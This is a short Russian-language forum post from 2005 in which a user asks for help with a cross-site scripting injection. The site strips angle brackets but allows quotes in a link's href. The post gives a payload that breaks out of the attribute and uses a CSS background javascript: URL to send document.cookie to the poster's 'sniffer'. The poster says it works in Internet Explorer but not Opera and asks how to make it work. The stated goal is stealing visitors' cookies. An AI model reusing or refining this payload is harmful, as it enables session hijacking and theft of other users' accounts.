07.03.2005, 03:33
|
|
Новичок
Регистрация: 14.01.2005
Сообщений: 4
С нами:
11220468
Репутация:
0
|
|
Вопрос по Xss
Извеняюсь если не в тот раздел запостил, но по моему больше было некуда. Суть проблемы. Можно залить код типа
Код:
<a href='мои_данные'>мои данные</a>
Причем мои_данные пропускают кавычки и знак апострофа, знаки > < не пропускает. Цель - заставить выполнить скрипт параметры которого будут куки.
Я пробывал стандартно
Код:
'style='display:none;background:url(javascript:document.images[2].src="снифер?"+document.cookie)
В ослике работает нормально, а в опере (тестил на 7) не пашет хоть убей. Как мона решить эту проблему? |
|
|